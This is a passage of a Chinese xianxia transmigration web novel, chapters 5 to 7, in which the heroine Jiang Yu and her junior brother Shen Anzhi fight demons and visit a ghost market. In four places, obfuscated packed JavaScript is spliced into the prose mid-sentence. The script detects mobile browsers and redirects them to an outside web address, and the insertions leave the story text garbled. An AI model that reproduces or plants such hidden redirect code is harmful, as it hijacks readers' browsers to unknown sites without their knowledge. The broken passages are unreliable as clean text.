若沈安之又凉了,时间回溯她可就尬了。 “师姐,你记在宗门时取笑我是低贱无脑的杂碎时,这般看起来‘善良’吗?”沈安之余烬的杀意再次复燃,“或许,这一次又是师姐什么把戏?” 敏锐察觉到沈安之外溢的杀意,姜喻退后几步,有些颓然,语气怏怏也强装出不惧:“哼!我好心当做驴肝肺。” 见她似是装出个主动示好又傲娇的娇俏样,不知怎的,沈安之却回忆起大师姐玩笑说姜师姐喜欢他的时候。 沈安之蹙眉。 喜欢? 可笑。 暂且饶了她,灵石没到手了。 沈安之加快步伐,姜喻提速默默跟在他身后。 预料沈安之他之所以没出手,只怕多半是她还没有把全部灵石给他,可保不齐他一时冲动呀…… 瞧着顺着他指尖滴在地上的一滴血,姜喻再也忍不住眼睁睁看着他捂上受伤胳膊越走越快的样子,生死攸关之际了……姜喻吹了吹额上碎刘海,万一他又死了怎么办! 掏出一部分瓶瓶罐罐打包起来,管它都是些什么,通通放进一枚黑金色雕着兰花的空间纳戒中,再塞给沈安之的怀里。 他垂眸,她灿亮的墨眸流转着他从未见过的微光。 “受伤了,治疗行不行。况且你想要灵石就先必须保护我出去,包扎好才能好的快。” 眸光意味不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542530|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他打开纳戒随手取出一瓶药液凑近闻了闻。无毒,灵气正常,犹豫了一下喂入口。 姜喻看见他喝了,不安的心放平。 药液入口,沈安之伤口痒的他微微眯眼,但再肉眼可见的速度复原。 名贵的药剂随意送他。 真不知该说她人傻钱多,还是…… 沈安之收回探究的目光。 若放的是毒药得当即人头落地的姜喻不知道自己逃过一劫。 “师姐,算你有点良心……” 姜喻不再多说,装作气鼓鼓地往前走。 沈安之上手拉着她后衣领,将她往身侧拽了拽,微微垂眸俯视她的头顶:“师姐,别走了,我们在绕圈子。” 姜喻抖了个激灵,握紧发光宝珠靠近他他身侧,“可别吓我,我们现在不会是遇上鬼打墙吧。” “不是,障眼的妖法罢了。”沈安之停下脚步,一枚微微发光的铜钱在他指尖,抬手自虚空徒手划破一条狭隘通道,黑黝黝的,看不清里面的状况。 等沈安之跨过半个身子确认安全走进去,姜喻紧跟在他身后。 甫一进去,阴冷潮湿的气息随着时间流逝侵扰周身,阴森森地风从袖口、衣襟灌入。 他们两个脚下不是路,是一条啃得干净的骷髅们,大小皆有,有动物,有人类。 见此情此景,姜喻只想安详地闭上眼。 回忆文中剧情是现在应该是主角团掉下来的情形,三人中包括顾疏雨都落在这里,共同伐妖中遇见了男主方微云。 姜喻内心略有泪目,眸光停留在沈安之背影。 沈安之如履平地踩踏骷髅,视若无物,回头见那道绯红人影傻傻不动,目光是一个劲地盯着他,心脏刺挠了一下。 沈安之微微蹙眉,喊了一声师姐。 姜喻赶紧应答:“我在。” “跟上。” “好。” 姜喻拿出自己的配剑,脚下颤巍巍地踩着骨头相互摩擦叮咚作响,“罪过罪过,各位兄台姊妹们,我们从你们身上路过没有恶意,短暂借过一下。” 看她这样不知道走到猴年马月,召出铜钱剑轻松地跳上去,“上来。” 姜喻爬上去站好,手指轻轻攥紧自己的衣袖。 “站稳了,掉下去我可不会管你了,师姐。”话音刚落,铜钱剑悬空升高。 姜喻下意识手指攥紧他腰带,见他没发现更是肆无忌惮抓好了。 耳边呼啸的风声中夹杂着什么骨肉分离的撕扯声。 狼妖嘶吼里,一个血人跌坐在地,吓破胆大喊着:“救命!救命啊!啊啊啊,救救我……” 他的铜钱剑提速,下面几只狼妖撕扯着血肉模糊的肉块。 沈安之眼前一亮,剑光从天而降,杀的几只狼妖毫无反手之力。 其中,真身本尊是一匹灰色的狼,体型比其他傀儡狼的身体庞大数倍,皮毛油亮,见到人就诡异地咧开嘴:“是你这小子坏我好事。” “你的妖丹很值钱。”肯定的语气。 沈安之执剑和它纠缠打斗起来。 姜喻乘机提醒吓破胆的男子:“快跑啊。” 周围暗藏的傀儡狼妖从昏暗里一拥而上,姜喻艰涩执剑砍下一头。削铁如泥的长剑劈开它的头颅,却卡进它骨头缝里。 姜喻傻了眼。 飞速反应后哆嗦地踹了它一脚,拔出来剑唬弄狼妖傀儡,实则一个转身麻溜逃走。 狼妖捕捉她这个目标跃起,银光一闪。 5. 第5章 顾疏雨的秋光剑破风而至,她身侧陪同着一位清逸如风的浅蓝色衣袍男子,眉宇英俊,方微云眸光紧盯着顾疏雨的英姿,眼底带着笑意。 单论他们衣服颜色就知道什么叫cp感了。 “师妹,你没事吧。”顾疏雨忽略一旁的方微云,关心地扶着姜喻的胳膊。 沈安之余光瞥见顾疏雨,不免带了一丝尽快解决的焦急,他急于结束战局,带了伤,趁机剖开狼妖肚皮,一颗紫色妖丹悬浮而起,沾着森然血渍依旧熠熠生辉。 妖丹飞入少年宽大的掌心,顾疏雨紧锁秀眉,“师弟,你在干什么?” 姜喻明白来,联想后期男二黑化除了身份曝光又被陷害外,他确实有一件板上钉钉的错事——吞噬妖丹。 一般修炼之人若见妖物会连同妖丹当场销毁,而非像沈安之还给妖丹刨出来想收起来。 沈安之眼波微闪,留意顾疏雨略带紧张的神色,留恋不舍地收拢五指,“师姐……” 她眼瞅着机会来了。 “师姐,是我。我想要这颗妖丹,让师弟剖出来我看看。” 沈安之闻言一愣,其余人更是不解。 众目睽睽中,她将沈安之手中妖丹拿走,沈安之不动声色地盯着她。 她仔细观详一番,狼妖的妖丹入手的那一刻阴寒无比,寒意随着掌心蔓延到四肢,冰的她一个哆嗦。 顾疏雨神情肃穆,挟着一丝担忧:“师妹,妖丹可不是好玩之物,速速销毁。” 她感觉手都冰的快没知觉了,又强撑着把玩着,顺势服软道:“师姐,我知错,一时冲动。” 抬手将妖丹交还沈安之,他瞥了一眼姜喻,五指并拢,微不可查地叹气一口,捏碎妖丹。 谁也没有预料变故发生,磅礴妖气陡然轰炸开。 沈安之剑气护身,手上也带了伤,何况距离不远的姜喻。她的防护玉簪灵器被击碎,青丝垂下,胸口钝痛,五脏六腑移了位似的。 捂住胸口,难以捱住,呕出一口血。 “师妹——”顾疏雨没预料妖丹被下了自爆的妖令。 从小到大,姜喻讨厌苦瓜,不爱吃苦,从没想过哪一天会这么痛,她的五脏六腑被一双无形大手搅动的移位似的。 好苦啊…… 姜喻头一歪,身子软倒失去意识前,她看见距离近的少年节骨分明的手抓上她胸前衣襟,抬手搂住她的背平放在地,俯视着她唇边的血渍,姜喻闭上眼。 不知多少时辰过去。 姜喻静躺床榻,窗棂阳光刺目,她下意识抬眼遮住,一双手胡乱摸索着左右。 手机,我的手机了,闹钟怎么没响,今日有早八吗…… “手机,手机……”摸不到,她有些不耐,睡眼惺忪摸的起劲儿,半梦半醒地微眯眼坐起身,看清周围古色古香的环境,脑袋嗡的一声,整个人酷似河滩上搁浅的鱼,半死不活地双手交叠在胸前闭眼躺下。 没有要命的早八,只有要命的任务。 在哪都是打工人,可喜可贺她提早找到了就业方向,摔! “师姐,守嵇是谁?”微凉的嗓音略微磁性沙哑,对于一个音控来说刚刚好…… 她迟疑了一秒,倒吸一口大学牲的怨气坐起身,“我在做梦了。梦里,手机它是我最好的玩伴。”想念它,不能没有它。 沈安之缓步走近在床沿,递来一粒丹药:“师姐,吃药。” 姜喻捻起丹药看了又看,余光瞥向沈安之神情,缓缓放入口。 带着几分嘲弄的笑意道:“师姐,在看什么?” 她咀嚼着药,薄唇轻喃:“没什么。''”见他要走,姜喻犹豫道,“师弟暂且留一步。” 沈安之缓步顿足,漠然地回眸置之,双手抱臂,上下抛掷着铜钱游走在指缝中。 “灵石我交给你,多谢你你在狼妖手上救我。”她只穿着小衣,边说边飞速起身,看见他抛铜钱就紧张地想遁走。 沈安之抬眸的一瞬,看见一抹娇小的白色人影翻找东西,神情一顿,短暂的一怔后丹凤眼猛地紧缩,指尖无意识地扣进铜钱孔眼,猛地背过身:“你……” “啊,师弟……”姜喻回头瞧,仅看见一抹来去匆匆的背影。 他支支吾吾说了什么…… 迅速把思绪拽回,姜喻掂了掂手里的储物袋,垂眸眨眨眼,看清身上衣物脸颊微红,她忘了书中设定的架空世界民风保守…… 穿戴上绯红罗绮云裙,鲜艳金线勾勒成如意团花,铜镜前娇俏少女圆润指尖摸在脖颈木牌护身符,木头雕刻的护身符雕刻着她的名字,木制品温润富有光泽,贴着皮肤带着舒适暖意。看红绳的磨损,应该很有些年头了。 一头柔顺如锦的乌发如水倾斜而下,姜喻找店小二唤来店里麻利的小姑娘,给她扎好当季流行的蝴蝶发髻。 梳洗完确认体态未有失仪,方才下楼。 几位穿着青衣道友抱着剑聚在桌前闲聊,眼尖她下来,和善地打了声招呼。 “姜道友,身体安好?” “姜小姐,你醒啦……” “姜姑娘……” “好多了,多谢各位道友关心。”姜喻笑着把储物袋的灵石按照约定,给等待的道友结完余款。 做甲方,竟是这么个滋味,谁体会谁知道。 道友们各个眉开眼笑,完全没有一点等了她三天得不耐。 “不好意思,此前有伤,让大家久等。” “姜姑娘哪里话,以后有这等好事再找我们,我辈除妖义不容辞。” 姜喻维持人设微抬起下巴,落落大方回应:“多谢道友们,有缘再见。” 做完一切,姜喻寻了小二知晓沈安之房门,踌躇犹豫地了一下,敲了敲门。 咚三下后,沈安之方懒懒散散地打开门,他携着一室淡淡茶香突然透出半个身子靠着门框,她抬眸的片刻惊觉他们一时靠的有些近。 少年身上的皂角香混着舒适的茶香,竟有几分岁月静好。 “姜师姐,来此做什么?” 姜喻摇了摇装有灵石的袋子,递给他,轻挑眉一下,俏丽样子像只移动的可人小板栗。 “履行承诺。” 沈安之接过只是随意看了两眼,勾唇似笑非笑:“师姐给多了。” “对啊,多的是你答应我以后有危险提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542531|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,做鬼也得让我做个清醒鬼。”姜喻小声呢喃。 沈安之扬起意味不明地浅笑,不着痕迹转移话题:“师弟有一事不明,还望师姐解惑。师姐当时为何撒谎?还是师姐知道,我拿妖丹做什么……” 他蹙眉凝视着她的神情,指尖无意识地摩挲着储物袋,眼前的姜喻和以前恶劣的模样略微不同。 姜喻早想好了理由开脱,故作镇定地抬眸一笑:“你说妖丹值钱,我偏想看看,你知道顾师姐决不允许买卖妖丹,而我知道你缺灵石,加上你救了我的恩情,我才不计前嫌地帮你,这件事扯平了。” “师姐的歪理挺多。”沈安之拉开门敞开一部分,眸中倒映着那抹绯红身影,“师姐,看我的眼睛。” 姜喻腹诽妖孽又想干什么,不自主地听沈安之的声音,仰头看向冰雕玉琢的俊容,“干什么呀。” 深邃疏朗的丹凤眼轻轻一瞥,似把悬崖上初见的风吹来。沈安之高出她一个脑袋多,狭长的眼睛美的太神秘。 上下五千年诗句中形容眸中万千星辰的微光,恍若登高就手可揽星辰。恰恰近在咫尺、拾手可得,可他和她之间却隔着山川湖海,遥不可及。 她表情凝固了一瞬,思绪飘远一会儿才回神。 沈安之悄然发动了鹤门宗禁术——真言术。 姜喻紧盯着他眸子要警惕时已经来不及,瞳孔逐渐失去焦距点,涣散的黯淡无光。她脚下迈过门槛,人走进去停在室内正中央。 沈安之俯身瞧着乖巧听话的人儿,俯下身体看着她的眉眼,看着她黯淡的眸子,露出一丝极浅的笑意。 他要一点点剖开这颗剧毒尖刺的板栗外壳,看看她惺惺作态、棍棒施恩下的真面目。 “告诉我,你到底是何人?”沈安之斜靠桌面坐下,手随意地搭在桌面轻轻敲击,整个人散发着慵懒又危险的气息,绕有耐心地等待她的回答。 姜喻回答极为干脆:“姜喻。” 沈安之尾指勾起她一抹漆黑的长发,随意绕在指尖,眼中压抑着一抹幽光,“你对顾师姐可有半分恶意吗?” “我没有。” “你是沈安之的谁?” 姜喻停顿片刻,“我是沈安之的师姐。” “你接近沈安之究竟有何目的?”他屈指点在少女眉心,额头渗出细密的汗珠,加大法力确保姜喻回答的真实性。 少女脸上出现一抹疑惑,神情呆滞,迟钝一会儿说道:“想要……想要沈安之获得幸福,希望沈安之喜欢我。” 沈安之脑子空白一瞬,下意识地站起身,发觉自己居然被她的话蛊惑。略微俯身,犹觉距离不够,弯腰凑近她,蹙眉紧盯,轻嗤地冷笑一声,带着一丝诡异的冷静。 沈安之手指虚圈在她脆弱脖颈,指腹似有若无地刮过她的颈侧,沁入寒意的嗓音,低声询问:“你这么做,目的为何?” 姜喻这一次停顿许久,心绪里攻略也对,阻止灭世也对。顿时,她想明白过来缓缓吐出三个字:“有个家。” 家? 沈安之皮笑肉不笑,一脸黑云罩顶,冷若寒星的眸子盯紧她。他不太满意这个答案,试图在她脸上找出破绽。 6. 第6章 他隐忍地闷哼一声,打算继续逼问的话咽回去,真言术禁术反噬来的太快。除非姜喻告诉他一切都是真的,才会反噬他。 康复的内伤复发,猩甜涌上喉头,喉结缓缓滚动咽了下去。 没有沈安之的法力继续支撑,姜喻很快从真言术的控制中回神。 定了定心神,她扫了一眼所在的位置,茫然问:“师弟,我怎么在这里?” 沈安之对上她的眼神,指尖摩挲着铜钱,“姜师姐,我伤口复发,请你出去。” 说是请她出门,合上的门扉木板差点擦上她鼻尖。 沈安之是生了哪门子的闷气? 他是晴天娃娃嘛,说变脸就变脸,说翻脸就翻脸。 姜喻气地踹向空气,手上握拳挥向空气,抬头鼻孔对着木门轻哼一声。 她下楼看去,视线被一楼靠窗的两人吸引,顾疏雨身侧坐着一蓝衣男子与她一同小口啜饮,正是男主方微云。 多是他在滔滔不绝地讲,顾疏雨在安安静静地听。 《求妖》男主——方微云。书中对男主方微云是这样描述的,凤头白玉簪挽起长发,长相俊俏,浅棕色眸子似暖玉,身材挺拔。 一身交领水蓝长袍纹有远山横波纹理,桂花黄素帛束腰封带,配有半鱼玉佩,手上总拿着一把白色折扇。 视野中的方微云完全是从书中一比一复刻下来的大帅哥,书粉一整个狂喜了。 姜喻正感慨郎才女貌,阴森压迫的气息爬上脊梁骨缠绕在脖颈。 回眸就见开了门的沈安之分明先前称病,现在却长身玉立,斜着依栏而望,在另一侧盘旋的台阶上与她四目相对,遥遥相望。 少女脆生生的声音不停回荡耳畔,幽暗冷漠的视线如冷雨淋漓,洗刷冲击,他想看透玉肌冰骨下那颗心是黑是红。 沈安之漫不经心地收回视线,行至楼下与顾疏雨打了招呼,正好打断了方微云的话题,但没逗留,大步流星地向外走去。姜喻鬼使神差跟着他走出客栈大门,沈安之人影早已消失在穿梭的人流里。 姜喻被人从背后拍了拍右侧肩膀。 顾疏雨清冷绝美的容颜,眼神闪烁别样的光芒,一副了然于胸地轻拍下她,语重心长道:“他独来独往习惯了,这次你受伤是师弟背你回来,你可投其所好,买些糖食给他……” 听完眼前一亮,对啊,对症下药还要投其所好。 “我明白了师姐。”她粲然一笑。 集市两边嘈杂地叫卖声入耳,姜喻目标明确,记得他喜欢栗子口味,看见街边有卖甜食的商家就要他们各来一份。 来到这个世界,她还未体验过这里风土人情。新奇玩意她逛的累,折返往回走,察觉身后几个狗狗祟祟的人在视线里出现几次,阴魂不散。 寒意从脚底蔓上脖颈,姜喻心里打鼓,本能地提速钻进人群里。 下一秒,一双手推搡在她背后,她脚下踉跄时那只布满后茧的手力大的她根本无从反抗。姜喻吓的傻眼,下意识颤手抽出袖口镶嵌红宝石的短刀朝抓住胳膊的手刺去。 寒光闪过,短刀入肉,身后传来闷哼的呼痛声。 平静撕裂,露出杀机,反手捏着姜喻胳膊钻心的疼,短刀握不住地掉地,疼得她斯哈抽气一声。 一手去捂住她的嘴,姜喻猛咬一口,慌不择路地挣扎大喊:“来人啊,强抢民女,有人贩子啊!拐卖啊!” 高声尖锐的呼救,行人目光一下子注意过来,背后之人一计不成再生一计,连连道歉:“对不住大家,这是我家傻掉的妹子,大家快帮帮忙按住。” 按猪了,还傻掉,我看你是沙雕。 姜喻转身瞪也圆眼,又怕又怒看清那人,其貌不扬,一身黑衣,粗鲁地拖拽着他,她全身力气硬抽不出手。 姜喻没有陷入自证怪圈,几乎故作镇定装出是桀骜又眼高于顶地嗤笑一声,指着自己身上的衣服和他的粗布麻衣,“我穿着打扮皆是富家小姐,你再看看你,养的起我这样的妹妹吗?想拐了我,让我家人交灵石敲诈勒索是吧。” “为我出头者,这些银钱我双手奉上。”姜喻眼睛不眨,从储物荷包随手抓出一大把银子铜钱朝天上一撒。 不过一息,蜂拥而上的人有的在捡钱,有的捡完之后趁机打了黑衣人一拳,好再讨赏。几个五大三粗的青年壮汉团团围住他捆绑,黑衣人力气不小,朝小巷使了个眼色,几个与他同样衣着的黑衣人跳出来,手握长刀。 顿时人群混乱不堪。 黑衣人眼冒红光,虚影中人和狐之间来回切换,不知是谁爆发了一声大喝:“妖啊,快跑!” 众人嫌恶地四散逃跑。 妖气膨胀之间掀飞了围堵的修士,身上绳子寸寸断裂,气息锁住姜喻的步伐:“拿命来——” 姜喻想躲,寒意随之蔓延,双脚却在妖力锁定下死死定在地上。她捏紧揣在袖口藏着的黄色符纸全丢出去,迎风而起的纸符拍打在狐妖脸上,吓得狐妖退后半步抬手阻挡。 空气瞬间凝固。 一张张纸符轻飘飘地贴在他小臂,他讥笑说:“呵,就只有这点本事嘛……” 话音未落,黄色纸符全都自动爆裂开。 一抹黑影嘴角轻轻扬起,慵懒斜坐在屋顶,单手托腮撑头带着些懒散不羁,勾唇嘲弄一笑,手指夹着一枚铜钱。 其他狐妖傻了眼,抓破小臂也要撕下来,奈何符纸紧贴,下一刻就如春日爆竹一样炸成了骸骨散落一地。 混乱停歇一刹,剩余几个狐妖见状不妙转身逃跑,等到专门除妖做收尾工作的皇家御天司来时原地只留下了一妖物残骸。 逃了没几步的姜喻被一只手拉进小巷。 完蛋了,今日她注定要下黄泉了吗? 让人捂住口鼻,她挣扎地唔唔几声,眼角沁出水光,顺着指节修长侧身看去,纤长稠密的鸦睫眨了眨,“沈……” “嘘,安静点。” 姜喻心有不安,见他手还放在下颌,下意识轻咬一口,沈安之微微挑眉放手,看着一道牙痕扯唇:“师姐,你对师弟的报答方式真痛啊。” 无视沈安之戏谑地挖苦,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542532|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻佯装镇定地站直身体,拉开合适跑路的安全距离:“师弟救人归救人,凑我这么近很……我心都快跳出嗓子眼。”咽回可怕两字,陡然见沈安之肉眼可见地脸色苍白,额头冒出豆大的虚汗,他唇角蜿蜒下一条刺目的红。 姜喻瞪大眼,惊地扶住他的胳膊,“''唉,你,你流血了!快吃一颗我给你的丹药。”求求要别死。 沈安之抬眸,似是无意多看了她一眼,偏过头从她手中抽回胳膊,随手擦去唇边血渍:“暂时死不了。” 俨然一副无事发生的模样,他视线流转,瞥过来瞧着姜喻一眼,如蛰伏待发的毒蛇,“师姐,可否陪在下去趟诡市?” 诡市,顾名思义,人妖仙三不管地带,鱼龙混杂,稀罕地玩意众多,若是实力低微者多半有去无回。 姜喻无语了一瞬:“师弟你知道我修为低,去了也是送人头。” 沈安之看她神情纠结,散漫一笑,压低声音,低沉着嗓音问:“师姐不相信师弟可以保护你?” 姜喻干笑着抬眸,“没,怎么会……” “既然师姐不信在下,那师弟告辞。” 巷子外传出急促地跑动声,面带白色面罩的男人急得抓耳捞腮,怒喝道:“一群蠢货,连个废物修士都抓不到。快追,她人傻钱多,是个钱多的蠢货!万不能让她跑了,哥几个抓住她,我们下半辈子吃穿不愁了!” “大哥,她的气息在这里消散。” “分散,快找……” “追师姐的人真不少,不仅有妖,还有人。”沈安之撂下凉飕飕的话,抬步转身要走。黑亮高马尾带着洗白的束发带拂过半空,发红的发尾留下艳丽弧度。她聆听脚步逼近,心里着急,沈安之肯定不会顾她的死活的,但跟着他说不定能“死”慢一点。 姜喻气得牙根痒,硬着头皮赶紧跟在沈安之身侧,往他身前走了一步紧紧靠近几分,借他人影藏匿自己,时不时回头瞧瞧后面的人是否发现了。 她边走边余光看向沈安之,“师弟,此去为何得要我陪同?” 他若想护她,大可以优先送她回客栈,莫非有什么不可说之事…… 不会想趁机要她命吧! 姜喻身形一僵,心里打了退堂鼓。 “师姐不是想与我‘重修于好’嘛?”他垂眸侧头看向她,语气满是戏谑。 “……对啊,哈哈。”听此姜喻干笑后眼神骤然坚定,是个好兆头,亮晶晶地眼眸看向他,“我舍了命也陪师弟走一趟。”默默自我腹诽,说着大话,自己都不怕闪了舌头。 沈安之抱臂侧眸,“师姐惯是说笑,命,师姐自己护好。不过刚刚救了师姐,想请师姐帮一个小忙。” “什么忙?” “没关系,师姐有的是灵石,师弟想买什么随便买。” 摊牌了,我是富n代的既视感。 沈安之嘴角笑意逐渐扩大,可偏偏不达眼底。 见他未在开口说明真正原因,偏要故弄玄虚的样子,姜喻心也没个底,略有不安和紧张地咳嗽两声,知趣地不再言语。 7. 第7章 两人走至河岸码头,沈安之掌心变出一只浅蓝色荧光的小飞虫,眨眼功夫,它飞溜进入河水中消失。 “咕噜咕噜。” 乳白色水泡翻涌,在水面炸开的时候夹杂着刺鼻难闻的气味。一块黑色木板自水底浮出水面,一个鲤鱼翻身,整条船湿漉的停稳在他们眼前。 “我们坐这条船去哪?” 眼前年久失修的木船长满了青苔水藻,人踩上去就会当场碎给她看似的,极不安全。 “师姐怕了?” “这……有什么可怕。”她故作镇定抬眸看向他,女人不能被说不行。 姜喻伸出一只脚踩稳,还行没碎。 另一脚踩进去,双脚并拢时船身突然猛烈摇晃起来,故意和她作对似的。 姜喻眼尖沈安之正在身后,又怕他嘲讽自己,整个人顺着力道仰栽倒船板上。 沈安之小尾指轻松勾着她后衣领,嘲弄一笑:“师姐是准备给师弟行个大礼?” “我没有啊。”姜喻面上不显,甩了甩沾了些水的长发,顺着他的力道站起身拍了拍手上水渍,与他分坐在船头船尾。 “师弟要我帮什么忙?”现在无数个想法在脑海里划过,她掀开眼帘看向慵懒斜靠着船靠的沈安之,默默思忖。 沈安之抱胸于怀前,轻抬修长的食指划过虚空,木船无人自渡,“师姐,安静,渡过此处需噤声。” 荡漾水面形成一圈圈涟漪,比坐在车里竟都稳当,瞧着对岸绿树成荫,目测不远。足足行船十几分钟,这时间来回都有了。 怪异发生。 周围凭空生出白雾,一米外人影绰绰,她最多看清玄色的那抹身影怡然自得地坐着,不见半分慌张。 本来对未知带有恐惧的姜喻稍加安心,连她也不知道为何对他生出一丝信任来。 她饶有兴趣地紧盯着水面,真是意思,忽略掉她穿书的事实,放在现代完全是沉浸式景区表演了。 “到岸了。”沈安之站起身,船晃荡了两下。 木船停稳后姜喻下船,暗藏戒备地打量起四周,脚下约是不足十平方米的小岛。 沈安之指尖夹着一枚铜钱抛起,风声四起,吹得姜喻睁不开眼。 等她再次睁眼眼前出现足以容纳两人行走的通道,穿过去豁然明朗。 络绎不绝叫卖声灌入耳朵,沈安之不知从何出拿出两个红狐狸的面具,目光漫不经心地瞥向姜喻,“带上。但若你不想,我可无偿给你收尸……” 姜喻赶紧接过来戴好,“知道了。” 在带上狐狸面具的姜喻脸上,他眸光扫了几个来回,幽幽开口:“师姐,我想你帮我寻几株上好的草药。” 姜喻瞬间呆愣,茫然抬眸看向他:“啊?” 草药她肯定认不出,毕竟她又没原主记忆。 不过原文里描写过鹤门宗清心院,属原主在炼丹上最有天赋,识得草药的本领是老天爷追着赏饭吃。偏她不是有苦硬吃的娃,白白浪费天赋去贪图享乐,炼丹、制符是三分热情的半吊子。 可她连半吊子都不如。 姜喻忐忑不安地咽了咽口水。 姜喻举手表决,声音弱弱道:“我出钱出力吧。” “师姐觉得之前给我的灵石不够吗?师姐身为清心院首徒连个草药都认不出,亦或者,师姐莫非寻我取乐?” 沈安之指尖的铜钱未收回,扬唇一个给她一个散漫惯了的浅笑。 “呃……我试试。”明知山有虎,偏向虎山行。可她能怎么办…… 戴着面具,两人一前一后走,姜喻走在后面反手抓了抓脑袋。 诡市热闹非凡,来往的无论人妖皆是带着奇形怪状地面具。 譬如有人牛角显现,偏带着修罗面具,口若悬河砍着价格;有人面纱遮脸故作神秘兮兮,看着路过人就拉着路人看他衣袖中好东西。 像他们这样的打扮,还算正常朴素。 可这些,此刻大脑宕机的姜喻都无从细看。因为,这不是最古怪之处。 “快来看看我家上品阶级的骨笛,仙家宝器,童叟无欺!” “一把破笛子,有什么好卖的。”路过的人轻嗤一声。 摊主轻哼倨傲抬头,“不识货。” 姜喻深吸一口气,纠结地揉了揉左眼。 中年男人摊位上高声叫卖的骨笛,上面居然有一只蓝白条纹,几乎透明的灵鸟缓慢环绕着。摊位下排的一枚骨牌趴着一条白蛇盘踞,其余大大小小的东西,有的散发着微光,有的暗淡无光。 姜喻停下脚步,“摊主,你这可是鸟类灵兽上的骨头所制。” “客人有眼光,灵笛是以金陵生长的青羽鸟所做,你看骨节是玲珑剔透,法力充裕。施展者无需法力支持,吹响即可发出三击。” 验证了自己的猜想,姜喻压下激动雀跃地心绪,接过摊主的灵笛在手上把玩两下,灵笛通体碧绿,漂亮又轻便。 “买了。” “三百灵石。” 姜喻交钱的手一顿,沈安之比她先先伸手阻拦在两者中间,顺着目光看去,沈安之微微挑眉:“此法器虽无需法力支持,可三击过后既废。” 摊主面红耳赤,梗着脖子据理力争:“三击可以阻挡四阶以下妖物的攻击。” 姜喻一听妖物四阶,干脆地交钱买下,转手灵笛递至沈安之面前:“送你。” 沈安之双手环于胸前,身形下意识地转向另外一个地方,垂眸迎上她的妍丽的眸子,大步向前。 “师姐自留吧,别忘了我们的正事。” 不知是否她的错觉,沈安之对她的态度古怪中有着一丝别扭。 姜喻没客气地塞进他的怀里,想到自己还买的糖放在储物袋,都一并给了他。 “不用谢我,毕竟我也不缺这点钱。”真把钱多多三字刻在脑门上。 看清储物袋中他爱的栗子味硬糖,沈安之无声地勾了勾唇,手指捻起一颗。 “师姐不来一颗?” 姜喻接过含在嘴里,“嗯。” 确认无毒,沈安之放心地把糖放进口中,栗子味的甘甜绕在舌尖,他舔了舔唇瓣,侧眸看向同行的少女。 脑袋不由自主回荡起她的那句喜欢,他回神来轻嗤一声,抬眸看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542533|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面。 问了过路人寻到一家草药摊,沈安之抬指了指摆放整理的同一种有锯齿带红果的药草。 “师姐瞧瞧哪一株上好。” 姜喻一眼扫过去,平平无奇地草药在她左眼里都散发着不同程度的微光,或微光朦胧混浊,或黯淡无光。她指向微光最亮的一株草药,“选这株。” 沈安之拿起草药瞧着,这株看上去叶片不太饱满,他略带怀疑地看了眼姜喻。 “师姐确定吗?” “确定,肯定。” “一株草药,500上品灵石。”摊主滋着个大板牙,面具是个眯眯眼白猫,看起来酷似个极为奸诈的奸商。 “买了。”姜喻付钱的灵石让沈安之按回去。 “不用了。”沈安之付完灵石,拿起木匣子装好保存。 接下来,姜喻被他带到不同的草药摊位上,她指什么沈安之买什么,安静付款的时候一言不发。 这些药草单独看上去并无奇特,组合起来是在利于压制他的特殊体质,可惜收集齐全前,沈安之已经黑化成魔头了。 两人全部买完不知何时辰,姜喻脚都走的酸累,有气无力地缓缓跟在沈安之身后。 沈安之回眸扫了她一眼,“师姐这就累了?” 姜喻微微抬眸:“当然累啊,走这么久连口水都没喝。” 沈安之收回目光,姜喻发现他放慢了脚步,路过茶摊时,姜喻眼前一亮,“等等,喝口水,休息一下,我走不动了。” 姜喻火急火燎地提前裙裾走过去坐下,招呼小二上了一壶茶和茶点。连倒了两杯下肚,“活过来了。” 沈安之单手懒洋洋地撑头,含着栗子糖轻咬着,指尖沾上茶水在桌上画下了什么图案,用袖口快速擦去。 一时间谁也没有开口。 姜喻捻起茶点小口咬着,沈安之指尖轻扣桌面。 